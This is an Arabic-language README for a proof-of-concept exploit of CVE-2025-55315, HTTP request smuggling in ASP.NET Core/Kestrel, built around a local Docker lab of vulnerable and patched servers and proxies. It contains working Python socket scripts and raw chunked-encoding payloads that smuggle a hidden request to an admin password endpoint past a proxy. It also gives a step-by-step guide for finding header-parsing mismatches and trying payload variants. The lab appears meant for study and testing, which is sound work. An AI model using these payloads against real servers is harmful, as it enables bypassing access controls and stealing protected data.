
استغلال إثبات المفهوم لثغرة CVE-2025-55315 (تهريب طلبات HTTP في .NET). يوضح كيف يتيح التحليل غير الصحيح لترميز chunked للمهاجمين تهريب الطلبات متجاوزين الوكلاء (proxies) وموازنات التحميل في خوادم ASP.NET Core/Kestrel الضعيفة.
إثبات مفهوم لاستغلال CVE-2025-55315 (تهريب طلبات HTTP في .NET). يوضح كيف تسمح معالجة الترميز المُجزّأ (chunked encoding) بشكل غير صحيح للمهاجمين بتهريب الطلبات عبر الوكلاء (proxies) وموازنات التحميل في خوادم ASP.NET Core/Kestrel الضعيفة.
🎥 انقر على الشارة أعلاه لعرض العرض التقديمي التفاعلي الكامل على Prezi
Dockerfile.vulnerable - تستخدم .NET 10.0.100-rc.1 (عرضة لـ CVE-2025-55315)Dockerfile.patched - تستخدم .NET 10.0.100 (الإصدار المحدّث)ملاحظة: الثغرة تكمن في محلل HTTP الخاص ببيئة تشغيل .NET (Kestrel)، وليس في كود التطبيق. يستخدم كلا الإصدارين نفس الكود المصدري ولكن بإصدارات مختلفة من بيئة تشغيل .NET.
# Build and run all services
docker-compose up --build
# Access the services
# Unsafe API: http://localhost:5001
# Safe API: http://localhost:5002
# Python Proxy (exploit): http://localhost:5027
# YARP Proxy (load balancing): http://localhost:5028
انظر DOCKER.md للحصول على تعليمات مفصلة لاستخدام Docker.
يُظهر الوكيل المكتوب بلغة Python ثغرة CVE-2025-55315 من خلال تفضيل Content-Length على Transfer-Encoding، مما يتيح تهريب طلبات HTTP:
payload = (
"POST /passwords HTTP/1.1\r\n"
"Host: localhost:5027\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
"2;\n"
"xx\r\n"
"39\r\n"
"0\r\n"
"\r\n"
"GET /passwords/admin HTTP/1.1\r\n"
"Host: localhost:5001\r\n"
"\r\n"
"0\r\n"
"\r\n"
)
import socket
import time
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(('localhost', 5027))
s.sendall(payload.encode())
# Read all available data
s.settimeout(2.0)
responses = b''
try:
while True:
chunk = s.recv(4096)
if not chunk:
break
responses += chunk
except socket.timeout:
pass
print("=== Complete Response ===")
print(responses.decode('utf-8', errors='ignore'))
print("\n=== Checking for smuggled request response ===")
if b'/passwords/admin' in responses or b'admin' in responses:
print("✓ Successfully smuggled request to /passwords/admin!")
else:
print("✗ Exploit failed or blocked")
يُهرّب هذا الحمول طلبًا ثانيًا إلى /passwords/admin متجاوزًا فحص الأمان في الوكيل، مستغلًا الاختلاف في كيفية تحليل الوكيل والخادم الخلفي للطلب.
إليك كيفية تفسير الوكيل والخادم الخلفي لنفس الحمول بشكل مختلف:
الاختلافات الرئيسية:
شرح مفصل:
2;\n كتصريح حجم قطعة صالح (2 بايت) → يقرأ xx كجسم القطعة المكون من 2 بايت → ينتقل إلى القطعة التالية (39)\n كنهاية سطر → يظل حجم القطعة 2 لكن الترويسة تمتد عبر 2;\nxx\r\n → يقرأ 39 كجزء من جسم القطعة → 0\r\n ينهي القطعةGET /passwords/admin المُهرَّب مخفي فيما يعامله الخادم الخلفي كبيانات قطعة، لكنه يُحلَّل كطلب منفصل بعد اكتمال معالجة القطعطلب GET /passwords/admin المُهرَّب مخفي فيما يعتقده الوكيل كبيانات جسم القطعة، لكن الخادم الخلفي يحلّله كطلب HTTP منفصل.
قبل الاستغلال، تحتاج إلى تحديد أي ترويسة HTTP (Content-Length أو Transfer-Encoding) تفضلها المكونات المختلفة. إليك دليل خطوة بخطوة:
أرسل طلبًا يحمل كلتا الترويستين Content-Length وTransfer-Encoding: chunked لمعرفة أي منهما يحترمه كل مكوّن:
POST /passwords HTTP/1.1\r\n
Host: localhost:5001\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
6\r\n
Fabian\r\n
0\r\n
\r\n
التحليل:
Content-LengthTransfer-Encodingاختبر جميع المكونات في بنيتك للعثور على الاختلافات:
# Using Python
import socket
test_payload = (
"POST /passwords HTTP/1.1\r\n"
"Host: localhost:5001\r\n"
"Transfer-Encoding: chunked\r\n"
"Content-Length: 2\r\n"
"\r\n"
"6\r\n"
"Fabian\r\n"
"0\r\n"
"\r\n"
)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(('localhost', 5001))
s.sendall(test_payload.encode())
s.settimeout(1.0)
try:
response = s.recv(4096)
print("Unsafe API Response:", response.decode('utf-8', errors='ignore'))
except socket.timeout:
pass
# Change port to 5002 and test
# Safe API should handle the conflict properly
# Change port to 5027
# Python proxy favors Content-Length (vulnerable)
# Change port to 5028
# Test how YARP handles the header conflict
/passwordsTransfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
6\r\n
Fabian\r\n
0\r\n
\r\n
بمجرد تحديد:
Content-Length (يقرأ N بايت فقط)Transfer-Encoding (يقرأ الجسم المُجزّأ)يمكنك تهريب طلب ثانٍ لا يراه الوكيل أبدًا لكن الخادم الخلفي يعالجه.
شغّل حمول الاستغلال الكامل (انظر قسم "توضيح الاستغلال" أعلاه) وتأكد من:
socket في Python: تحكم منخفض المستوى لتنسيق HTTP دقيق--data-binary: اختبار سريع عبر سطر الأوامريمكن صياغة الاستغلال بطرق متعددة. جرّب أساليب مختلفة:
# Add Content-Length to make the desync explicit
payload = (
"POST /passwords HTTP/1.1\r\n"
"Host: localhost:5027\r\n"
"Content-Length: 75\r\n"
"Transfer-Encoding: chunked\r\n"
# ... rest of payload
)
\n كنهاية سطر صالحة → يعامل 2;\n كحجم قطعة → يقرأ 2 بايت (xx)\n → تمتد ترويسة القطعة عبر 2;\nxx\r\n → يصبح 39 جسم القطعة → 0\r\n ينهي القطعةجرّب سيناريوهات عدم مزامنة مختلفة بتعديل PythonProxy/proxy_server.py:
\n مقابل \r\n)جرّب:
|
تفسير الوكيل (يقبل |
تفسير الخادم الخلفي (يرفض |
| المكوّن | حجم القطعة 2;\n | البايتات المقروءة | ماذا يحدث |
|---|
| الوكيل | ✅ حجم قطعة صالح | 2 بايت (xx) | يعامل 2;\n كترويسة قطعة كاملة، يقرأ 2 بايت، ثم ينتقل إلى القطعة التالية |
| الخادم الخلفي | ❌ نهاية سطر غير صالحة | لا يزال يقرأ كقطعة بحجم 2 بايت | لا تنتهي ترويسة القطعة حتى xx\r\n، لذا يصبح 39 جسم القطعة وينهي 0 القطعة |